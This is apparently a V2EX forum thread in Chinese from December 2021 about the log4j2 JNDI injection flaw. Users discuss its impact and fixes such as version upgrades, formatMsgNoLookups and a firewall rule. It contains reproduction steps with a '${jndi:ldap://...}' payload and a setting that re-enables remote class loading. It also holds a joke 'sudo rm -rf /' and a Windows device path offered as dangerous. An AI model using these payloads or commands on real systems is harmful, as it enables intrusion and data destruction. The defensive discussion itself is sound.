V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
eviladan0s
V2EX  ›  Java

颤抖吧 Javaer, log4j 史诗级漏洞

  •  4
     
  •   eviladan0s · 2021-12-10 09:16:39 +08:00 · 33666 次点击
    这是一个创建于 839 天前的主题,其中的信息可能已经有所发展或是发生改变。

    漏洞预警: https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q

    本质上是 log4j 里的 lookup 方法存在 jndi 注入(看图): https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg

    百度、谷歌、苹果的框全都沦陷了: https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png

    修复措施: 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ,可以暂时缓解避免受漏洞的影响。

    之所以是史诗级,是因为不仅 log4j 使用范围广,而且日志数据你不知道流到哪里的 log4j 就会触发

    第 1 条附言  ·  2021-12-10 10:28:42 +08:00
    最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A

    Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本
    第 2 条附言  ·  2021-12-10 13:34:24 +08:00
    再补充一点: 漏洞存在于 log4j2 ,目前发的很多都仅仅是个验证,不代表能造成实际危害如远程命令执行等,因为高版本 JDK 默认有限制措施。
    请不必恐慌,如果有受影响的应用,建议咨询专业的网络安全公司,获取修复建议。
    189 条回复    2021-12-13 16:50:16 +08:00
    1  2  
    ffw5b7
        101
    ffw5b7  
       2021-12-10 14:32:13 +08:00 via Android
    怎么复现+1
    aguesuka
        102
    aguesuka  
       2021-12-10 14:43:40 +08:00
    @ohwind 看我 53 楼贴的代码, 作者使用了一个高风险的 api, 却只做了最简单的单元测试. 而这段代码的参数是 log4j2 最核心的功能 logger.error 会调用的, 而后者的参数是不安全的字符串.
    直接滑坡到 "完美无暇" 和 "二极管思维" 的你才是
    guanhui07
        103
    guanhui07  
       2021-12-10 14:47:59 +08:00
    不慌
    JKeita
        104
    JKeita  
       2021-12-10 14:49:48 +08:00
    log4j 我记得以前也出过远程执行漏洞吧
    liprais
        105
    liprais  
       2021-12-10 14:56:28 +08:00
    @MoYi123 真不能,性能差远了,你干脆说不打日志算了
    onionKnight888
        106
    onionKnight888  
       2021-12-10 14:56:45 +08:00
    不慌 log4j 漏洞不嫌多
    humpy
        107
    humpy  
       2021-12-10 14:59:22 +08:00   ❤️ 12
    复现步骤

    1. 搭建并启动一个 ldap 服务器(比如,ldap://127.0.0.1:1389 );
    2. 确保测试应用使用的是 log4j2 日志框架( spring 框架因为默认是用的 logback ,需要在 [spring-boot-starter-web] exclude [spring-boot-starter-logging],再添加 [spring-boot-starter-log4j2] 依赖);
    3. 在测试应用中打日志,比如,「 log.info("${jndi:ldap://127.0.0.1:1389}");」 ,可以看到打印的日志内容类似于「 com.sun.jndi.ldap.LdapCtx@65d6b83b 」,ldap 服务器上也能看到请求记录;
    4. 如上,已经复现了远程调用,更进一步,如果想执行恶意代码,ldap 接口需要响应想要执行的 java class
    monkeyWie
        108
    monkeyWie  
       2021-12-10 15:02:10 +08:00
    @humpy #107 意思是没有 ldap 服务的就安全了吧?
    eviladan0s
        109
    eviladan0s  
    OP
       2021-12-10 15:06:09 +08:00 via iPhone
    @monkeyWie 不是,这个场景中,LDAP 服务器是攻击者控制的
    humpy
        110
    humpy  
       2021-12-10 15:11:09 +08:00   ❤️ 1
    @monkeyWie #108 ldap 服务是攻击者的。

    这个攻击的核心是攻击者可以通过接口请求的方式,在 header 或者请求参数里,带上类似这样的字符串「"${jndi:ldap://v2ex.com}"」,如果接口服务记录日志的时候内容里带上了这串地址(比如记录接口请求日志),log4j 就会去请求它
    monkeyWie
        111
    monkeyWie  
       2021-12-10 15:21:05 +08:00
    @eviladan0s #109
    @humpy #110
    懂了,感谢解惑~
    zhady009
        112
    zhady009  
       2021-12-10 15:22:04 +08:00
    @liprais 同步都差不多只有异步才明显
    yohole
        113
    yohole  
       2021-12-10 15:24:06 +08:00
    本地完美复现,确实比较危险,而且构造注入的工具和手段非常简单。。。
    powerman
        114
    powerman  
       2021-12-10 15:34:51 +08:00   ❤️ 3
    @aguesuka 问题是 一个日志组件 不是应该干好日志组件的事情就好了,为啥要使用这种 API ,从理论上来讲,Java 有边界检查,都已经完全避免了二进制内存溢出漏洞了,还整这种高危 API 出来,得不偿失啊。
    powerman
        115
    powerman  
       2021-12-10 15:38:02 +08:00   ❤️ 1
    @aguesuka C/C++不安全,有溢出问题,业内也就认了,毕竟二进制缓冲区溢出是历史遗留问题了,Java 这种语言还用这种高危 API ,应该要以可选配置的方式提供给用户,而不是默认开启,这样可以大大减少 Java 应用出现的问题
    miniliuke
        116
    miniliuke  
       2021-12-10 15:52:21 +08:00
    @KevinBlandy 我的内网应用被安全扫描干趴了....../(ㄒoㄒ)/~~
    ohwind
        117
    ohwind  
       2021-12-10 16:00:34 +08:00
    @aguesuka 给我整笑了,再看看你第一句说的什么东西再说话
    aguesuka
        118
    aguesuka  
       2021-12-10 16:00:37 +08:00
    @powerman 我只能解释为作者能力有限, 看他的测试用例, 其实是想通过 jndi 查询 "logging/context-name" 之类的东西, 但他不知道 jndi 的威力. 这也是我为什么说不用这个作者的其它框架的原因, 君子不立危墙之下
    lisonfan
        119
    lisonfan  
       2021-12-10 16:07:38 +08:00
    java 业务放在 docker ,做了 namespace 会不会安全点?
    Ryanel
        120
    Ryanel  
       2021-12-10 16:19:02 +08:00
    全公司所用部门应用正在吭哧吭哧升级修复,领导说,不搞完不许下班....
    bigbugcc
        121
    bigbugcc  
       2021-12-10 16:33:08 +08:00
    .net 的 log4 应该不受影响吧
    monkeyWie
        122
    monkeyWie  
       2021-12-10 16:36:51 +08:00
    @yohole #113 我试了下没复现成功,是不是 jdk 版本太高了,我用的 1.8.0_312
    ccc008
        123
    ccc008  
       2021-12-10 16:40:31 +08:00   ❤️ 3
    @monkeyWie JDK1.8.121 以上的版本是默认禁止 trustURLCodebase 的,远程反射运行不了。 想要复现加上 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    RudyS
        124
    RudyS  
       2021-12-10 16:42:43 +08:00
    sudo rm -rf /
    zhq566
        125
    zhq566  
       2021-12-10 16:44:01 +08:00
    在野利用是什么意思呀。
    godwinma
        126
    godwinma  
       2021-12-10 16:44:41 +08:00
    难受,今天一天就花在升级各个仓库的版本了。。。
    nobody123123
        127
    nobody123123  
       2021-12-10 16:47:21 +08:00
    @justs0o jms appender 用的场景应该比较少啊。大部分直接 stdout ,或者日志文件。 是不是意味着这些用 1.x 版本的没关系啊
    cwyalpha
        128
    cwyalpha  
       2021-12-10 16:50:26 +08:00 via iPhone
    rc1 rc2 目前也能绕过,最好还是 waf 升规则吧,现在升级的,后面还要再升...l4j 开发不知道咋想的
    eviladan0s
        129
    eviladan0s  
    OP
       2021-12-10 16:50:33 +08:00 via iPhone   ❤️ 1
    @zhq566 漏洞被发现已经在互联网上流传和利用
    shyangs
        130
    shyangs  
       2021-12-10 16:51:12 +08:00
    @aguesuka

    log4j 、logback 、log4j2 是同一個作者 Ceki Gülcü


    你用什麼日誌庫?
    hingbong
        131
    hingbong  
       2021-12-10 16:56:34 +08:00
    1.8.0_312 我也复现了,就起了个 tcp server ,打印请求过来的 remote addr ,然后用 log4j 成功复现
    monkeyWie
        132
    monkeyWie  
       2021-12-10 17:03:09 +08:00
    @hingbong #131 会请求,但是执行不了 class
    0312birdzhang
        133
    0312birdzhang  
       2021-12-10 17:09:26 +08:00
    所以,log4j 1 到底怎么复现?试了几个 demo 都不行
    Divinook
        134
    Divinook  
       2021-12-10 17:14:33 +08:00 via iPhone
    上面也提到了,java8 u191 版本后就不能用 ldap 进行远程类加载了,但是这只是排除了其中一部分风险,依旧隐含拒绝服务攻击,利用远程文件写入进行 RCE 的风险
    aguesuka
        135
    aguesuka  
       2021-12-10 17:14:59 +08:00
    @shyangs 这个 bug 是 garydgregory 写的, 它是 log4j2 的最大贡献者, 而他在 log4j 中只有 24 个 commit; 如果是本人那 logback 说不定也有同样的问题, 那我可恭喜 javaer 了.
    sadan9
        136
    sadan9  
       2021-12-10 17:33:21 +08:00
    rc2 也可以绕过了么?哪里有确切消息?
    kknd22
        137
    kknd22  
       2021-12-10 17:35:43 +08:00
    老版本的 Log4j 有没有影响?
    lhwarthas
        138
    lhwarthas  
       2021-12-10 17:40:09 +08:00
    源码编译步骤:
    1.准备 JDK8 & JDK11 & maven
    2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录
    3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml
    kischang
        139
    kischang  
       2021-12-10 17:45:23 +08:00
    @kknd22 #137 log4j 1.* 版本有个类似的漏洞,在 JMS Appender ,但是跟 2.* 的差别是需要错误配置使用了该 Appender 才会触发,所以一般没有使用这个 Appender 的不会有问题
    lis66951735
        140
    lis66951735  
       2021-12-10 17:54:47 +08:00
    大佬们,spring-boot-starter-log4j2 怎么升级啊。exclusion 之后不好使啊
    cedoo22
        141
    cedoo22  
       2021-12-10 18:02:16 +08:00
    logback 是 spring 默认的日志组件, 所谓的依赖 是只是为了包含 log4j 的功能而依赖它的 API 而已,实现 和 log4j 没啥关系~
    cedoo22
        142
    cedoo22  
       2021-12-10 18:02:41 +08:00
    spring - boot - starter..
    liuxianzhuo
        143
    liuxianzhuo  
       2021-12-10 18:07:15 +08:00
    @lis66951735
    https://github.com/spring-projects/spring-boot/issues/28958
    properties 里增加下面这行就行了
    <log4j2.version>2.15.0</log4j2.version>
    leonme
        144
    leonme  
       2021-12-10 18:07:26 +08:00
    @humpy mark
    a594195609
        145
    a594195609  
       2021-12-10 18:09:40 +08:00
    @lhwarthas 谢谢!我搜了半天了,就你的看着最靠谱,虽然我还没动手。
    shiny
        146
    shiny  
       2021-12-10 18:12:42 +08:00
    这是创造就业
    lis66951735
        147
    lis66951735  
       2021-12-10 18:16:25 +08:00
    @liuxianzhuo 感谢感谢!
    ves
        148
    ves  
       2021-12-10 18:19:17 +08:00
    好奇是谁第一个通报的
    yancy0l
        149
    yancy0l  
       2021-12-10 18:57:57 +08:00
    网上最新的 log4j2 - 2.15.0 版本,2021/12/10 02:25 分编译的,git 库的 2.15.0-rc2 的 tag 标记的 push 记录时 2021/12/10 02:24 ,所以 网上的 2.15.0 和 rc2 是一个版本。下载地址 https://search.maven.org/search?q=g:org.apache.logging.log4j

    该问题 看 git 记录,应该是 2021/07/07 由 mattsicker push 的,只是新增 JDNI 功能,可能考虑不到有 bug 。

    最近的一条处理在 2021/12/05 号,由 Ralph Goers* (主要的开发者)一条 Restrict LDAP access via JNDI 的 commit ,提交了对于 LDAP 的一些限制,这个时候,我觉得他们就已经意识到问题。

    真正编译出来 2.15.0 和 git 标记 2.15.0-rc2 是今天早上 2 点左右开始改代码的,直接限制了。可以去看 2.15.0 jar 中的 org.apache.logging.log4j.core.net.lookup 方法 catch (URISyntaxException ex) 修改之前是 什么都不做。

    个人猜测,从 12/05 开始,就能限制 LDAP 的问题了,但是 昨天事件爆出来之后,他们又处理了一次,直接 catch 了。
    kknd22
        150
    kknd22  
       2021-12-10 19:04:46 +08:00
    @kischang 感谢大佬!
    quzard
        151
    quzard  
       2021-12-10 19:12:50 +08:00 via Android
    @ves 阿里通报的
    leiuu
        152
    leiuu  
       2021-12-10 19:47:46 +08:00
    jdk 1.8.0_181 这个版本测试不能重现攻击
    高版本 jndi 默认关闭了吧
    manr
        153
    manr  
       2021-12-10 19:59:32 +08:00
    早上到公司看到的邮件,11 点领导发话上午就要升级完版本,现在我们组的服务还没发布完
    Rorysky
        154
    Rorysky  
       2021-12-10 20:21:22 +08:00
    @aguesuka 感动,在 java 甚至打日志都能出大 bug ;
    Leviathann
        155
    Leviathann  
       2021-12-10 21:11:32 +08:00
    这下真企业级了
    2i2Re2PLMaDnghL
        156
    2i2Re2PLMaDnghL  
       2021-12-10 22:36:10 +08:00
    @aguesuka 意思是 Apache 全部都不能用了……
    @pkoukk 试试运行里面输入这个:(警告:危险操作,请勿在重要环境下尝试) \\.\globalroot\device\condrv\kernelconnect (参考: /t/746010
    ryan93
        157
    ryan93  
       2021-12-10 22:36:37 +08:00
    iptables -I INPUT -p tcp -m string --string "jndi" --algo kmp -j DROP;
    iptables -I INPUT -p tcp -m string --string "jndi" --algo kmp -j DROP;
    ryan93
        158
    ryan93  
       2021-12-10 22:37:48 +08:00
    配置防火墙好像可以限制这个,想知道我用防火墙限制会不会有什么坑
    2i2Re2PLMaDnghL
        159
    2i2Re2PLMaDnghL  
       2021-12-10 22:59:38 +08:00
    @aguesuka 你 #64 引用的未上升到作者角度,『 purge that library 』
    最多从功能角度上认为打 log 根本不需要特别的库,直接 printf 就成。我非常同意,要么你 log 输出就是流(然后用成熟的 unix 方式处理),要么你 log 直接输出结构化的信息(好比 sentry )。logger.error("...") 毫无存在的必要。
    我拿 python 的 logging 折腾了半天,最后还不是一股脑丢给 journald 。
    2i2Re2PLMaDnghL
        160
    2i2Re2PLMaDnghL  
       2021-12-10 23:02:38 +08:00
    @ryan93 不一定只是 jndi ,其他方式也可能触发其他问题,目前暴露的是 jndi 会导致 RCE ,其他也可能导致比如源站 IP 泄漏(通过某个 lookup 使你访问某个网站)。
    chawuchiren
        161
    chawuchiren  
       2021-12-10 23:13:21 +08:00   ❤️ 1
    @Bromine0x23 logback, 我按照网上的漏洞测试,从结果看是不在影响范围内
    2i2Re2PLMaDnghL
        162
    2i2Re2PLMaDnghL  
       2021-12-10 23:26:55 +08:00
    @aguesuka 顺便,我稍微 digging 了一下,写这个 bug 的是 Woonsan Ko (这种拼写法应该是韩国人或者朝鲜人),rgoers 并未仔细检查直接把 patch 并入。
    Bromine0x23
        163
    Bromine0x23  
       2021-12-11 00:29:15 +08:00   ❤️ 2
    @chawuchiren 是不存在,本身就是两个不同的日志库,runtime 下是用不到的。

    漏洞能被利用的一个前提似乎是消息本身直接被拼接到 message 参数中,而不是使用占位符从 params 传入。看起来和 SQL 注入异曲同工
    aguesuka
        164
    aguesuka  
       2021-12-11 01:07:21 +08:00
    @2i2Re2PLMaDnghL 看 134 和 53 楼
    coolwind1981
        165
    coolwind1981  
       2021-12-11 01:15:53 +08:00
    apache-log4j-2.15.0-bin 已经发布了,可以从下面页面下载并使用新版 log4j-api-2.15.0.jar & log4j-core-2.15.0.jar
    https://logging.apache.org/log4j/2.x/download.html
    coolwind1981
        166
    coolwind1981  
       2021-12-11 01:19:29 +08:00
    ysc3839
        167
    ysc3839  
       2021-12-11 01:23:54 +08:00 via Android
    @Bromine0x23 我也认为这是类似 SQL 注入的情况。log4j 的锅大概是文档没有明确表示传入的应该是可信的 format ,以及默认开启高风险功能。
    aguesuka
        168
    aguesuka  
       2021-12-11 01:39:21 +08:00
    @2i2Re2PLMaDnghL 我追踪 git 历史的时候没注意到重命名, 你是对的
    ysc3839
        169
    ysc3839  
       2021-12-11 01:47:39 +08:00 via Android
    @Bromine0x23 我去问了下搞 Java 开发的朋友,情况不是这样的,而是所有传进去的参数都是 format string 。
    lxml
        170
    lxml  
       2021-12-11 02:05:33 +08:00 via Android
    我看见 git 仓库震惊了,都说 Java 裹脚布又臭又长,这个日志框架代码量能有这么多???
    Bromine0x23
        171
    Bromine0x23  
       2021-12-11 02:05:52 +08:00
    @ysc3839 确实,这有点离谱了,试了下传个 ${env:PATH} 啥的进去都转换,按直觉来说应该只在 pattern 里起作用
    xiadong1994
        172
    xiadong1994  
       2021-12-11 02:29:19 +08:00
    @powerman #114 这个漏洞跟内存没有任何关系
    plko345
        173
    plko345  
       2021-12-11 08:15:13 +08:00 via Android
    @cwyalpha 内网的是不是不用担心这个
    frankies
        174
    frankies  
       2021-12-11 08:49:16 +08:00
    B 站一个 up 主抢先发了复现视频,还声称全网第一并应以为傲,简直了!
    https://www.bilibili.com/video/BV1FL411E7g3
    Cbdy
        175
    Cbdy  
       2021-12-11 09:17:37 +08:00
    spring boot 默认用的 logback ,不会引入 log4j 依赖,logback 只是测试时依赖了 log4j ,估计是为了性能对比之类,编译 /运行时不会引入 log4j

    如果用的 spring boot 默认的日志配置,没有手动修改实现,是不要紧的

    依赖传递树:

    org.springframework.boot:spring-boot-starter:2.6.1 -> org.springframework.boot:spring-boot-starter-logging:2.6.1 -> ch.qos.logback:logback-classic:1.2.7
    aaa5838769
        177
    aaa5838769  
       2021-12-11 10:44:05 +08:00
    @frankies 脸皮挺厚的,阿里都没说话。。
    guyeu
        178
    guyeu  
       2021-12-11 11:52:53 +08:00
    对大多数 Java 应用来说,直接使用的应该都是 slf4j ,实在不行换一种实现呗,Java 的好处就是工程体系特别完备,永远都有 Plan B
    powerman
        179
    powerman  
       2021-12-11 12:07:08 +08:00
    @xiadong1994 我知道跟内存没什么关系,我只是想说 C/C++是因为历史原因,没有做边界检查,才出那么多问题,本来照理说 Java 都不应该出现 RCE 这种问题的,因为作为高级语言已经屏蔽了边界检查这种历史问题,不应该开历史的倒车,出比 C/C++更低级的错误跟问题
    seliote
        180
    seliote  
       2021-12-11 12:19:32 +08:00
    @aguesuka 作者是 Apache
    mostkia
        181
    mostkia  
       2021-12-12 14:51:02 +08:00
    目前还在用 jdk8 ,依赖 java 环境的程序不多,暂时停用了相关服务。
    chaigon
        182
    chaigon  
       2021-12-12 19:56:04 +08:00
    @cheng6563 slf4j 也受影响
    chaigon
        183
    chaigon  
       2021-12-12 19:56:32 +08:00
    java 养活了整个安全行业
    joshuacavell
        184
    joshuacavell  
       2021-12-13 09:40:50 +08:00
    jwh199588
        185
    jwh199588  
       2021-12-13 10:18:15 +08:00
    @sshang https://gluten.cool/journals
    vanishxiaoma
        186
    vanishxiaoma  
       2021-12-13 10:45:12 +08:00
    https://logging.apache.org/log4j/2.x/

    News
    CVE-2021-44228
    The Log4j team has been made aware of a security vulnerability, CVE-2021-44228, that has been addressed in Log4j 2.15.0.

    Log4j’s JNDI support has not restricted what names could be resolved. Some protocols are unsafe or can allow remote code execution. Log4j now limits the protocols by default to only java, ldap, and ldaps and limits the ldap protocols to only accessing Java primitive objects by default served on the local host.

    One vector that allowed exposure to this vulnerability was Log4j’s allowance of Lookups to appear in log messages. As of Log4j 2.15.0 this feature is now disabled by default. While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it.
    cheng6563
        187
    cheng6563  
       2021-12-13 10:57:54 +08:00
    @chaigon slf4j 都不会解析${}这种日志有什么影响?
    moooodo
        188
    moooodo  
       2021-12-13 13:16:28 +08:00
    暂时修不了的,可以用这个临时打个热补丁 https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g
    ptrees
        189
    ptrees  
       2021-12-13 16:50:16 +08:00
    想知道怎么彻底修复,临时的修复方案过不了安全扫描,客户不认😂
    1  2  
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1424 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 34ms · UTC 17:26 · PVG 01:26 · LAX 10:26 · JFK 13:26
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.